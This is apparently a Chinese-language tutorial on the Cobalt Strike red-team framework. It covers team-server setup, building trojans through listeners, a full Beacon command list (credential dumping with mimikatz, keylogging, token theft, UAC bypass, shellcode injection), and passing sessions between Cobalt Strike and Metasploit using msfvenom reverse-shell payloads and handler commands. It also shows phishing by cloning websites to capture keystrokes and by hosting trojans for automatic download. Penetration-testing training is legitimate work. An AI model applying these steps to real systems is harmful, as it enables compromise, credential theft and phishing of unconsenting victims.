Cobalt-Strike
Cobalt-Strike
VVkladg0rCobalt Strike
前置知识
CS介绍
Cobalt Strike是美国Red Team开发的渗透测试神器,简称cs,是一款渗透神器。
主要用于后渗透方面的攻击,且具备团队作战的功能
Cobalt Strike的特点:
团队协作功能
丰富的生成木马模块:可生成exe,dll,powershell,hta,图片捆绑,bad USB,vba宏木马,以及shellcode等;
钓鱼攻击及探针模块:自动化挂马链接生成,自动化钓鱼及探针;
后渗透攻击模块:浏览器进程代理、文件操作、提权模块、跳板、DLL进程注入、端口转发、内网端口扫描、socks代理、令牌窃取利用、mimikatz套件等;
环境搭建
点后
这个是客户端
文件夹里这个是服务端
当多个客户端连接上同一个服务端(团队渗透)时 一台客户端获得的权限其他客户端也可以获得(权限共享)
在cobalt strike中,服务端最好运行在linux平台上,服务端的关键文件是teamserver和cobaltstrike.jar将这两个文件放在同一目录下运行运行服务端命令:(4.5以前 4.5以后增TeamServerImage)
./teamserver
[/path/to/c2.profile] [YYYY-MM-DD]
必需参数 团队服务器IP
必需参数 连接服务器的密码 [/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
[YYYY-MM-DD] 可选参数 所有payload的终止时间
也可以放在云服务器上
这里还是放在kali上
解压
进到解压后的文件夹里
比较重要的是:
- teamserver
- TeamServerImage
注意这里要把这两个文件权限设置成777 不然打开不了
这样我们就可以开启服务端了 按上面写的
./teamserver
./teamserver 192.168.49.133 123456
好 到这里服务端就可以了
现在我们打开客户端
端口用默认的50050就行
别名可以自己改个用于区分的名字
然后连接
会直接进来
使用
监听器
监听器可以生成木马拿下权限
先选载荷
生成
然后要给他一个路径
攻击者一旦点击木马 我们就会监听到
注意last 这个表示我们执行命令的时间 这里也就是我们的命令要8s才执行
所以我们要改回连间隔
改成1
会话交互
可以使用beacon命令
Beacon Commands
Command Description
argue 进程参数欺骗
blockdlls 在子进程中阻止非Microsoft的DLLs文件
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect 通过TCP连接到Beacon
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs 对当前令牌启用系统权限
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link 通过命名管道连接到Beacon
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 给当前目标机器备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid 为生成的post-ex任务设置父PID
ps 显示进程列表
psexec 使用服务在主机上生成会话
psexec_psh 使用PowerShell在主机上生成会话
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg 查询注册表
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu 在另一个PID下执行程序
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn 生成一个会话
spawnas 以其他用户身份生成会话
spawnto 将可执行程序注入进程
spawnu 在另一个PID下生成会话
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink 断开与Beacon的连接
upload 上传文件
会话转移
CS转MSF
首先要创建一个监听器
注意 payload要选foreign 端口随便设 ip是服务器ip
然后到MSF里
进到multi/handler里
use exploit/multi/handler
然后设置payload
set payload windows/meterpreter/reverse_http
设置cs服务端地址
set lhost 192.168.10.127
设置监听器端口号
set lport 6969
run
回到cs
把想转的会话新建会话
选刚刚新建的监听器
他会自动的找kali
成功
MSF转CS
CS先创建一个监听器 用Beacon
同样 MSF先生成一个木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.172 lport=9999 -f exe -o xiaoming.exe
multi/handler监听
记得把payload改成tcp
上线
先给他挂到后台
background
这里要进到一个新模块:
exploit/windows/local/payload_inject
use exploit/windows/local/payload_inject
这里需要设置
payload: windows/meterpreter/reverse_http
session: session 4
lhost: 192.168.10.172(cs服务端ip)
lport: 9696(cs创的监听器端口)
disablepayloadhandler:
回到CS
多了一个MSF的会话
成功
钓鱼攻击
信息收集
当访问ip/baidu时就会跳转到www.baidu.com
会留下一些信息
应用程序中有
现在我们来克隆
填一下信息 克隆
得到地址
当访问这个地址时 看到的和克隆的一样
当在这个地址输入东西时会留下痕迹
键盘记录:
文件托管
可以选一个木马文件
同样给了一个地址
访问这个地址会自动下载这个木马
现在我们可以结合克隆的网站
攻击这里可以选择我们刚刚生成的文件
这样也会自动下载木马
脚本
CS添加脚本后会很猛
脚本管理器
点下面的加载
加载自己的脚本
CS文件夹里有一些自带的脚本
这些文件夹里有.cna文件
加载这个就行
加载后会有新东西
其他
还可以抓hash
提权
带*的是system权限
还有vnc
包括进程注入
下面进程–>监听器
注入成功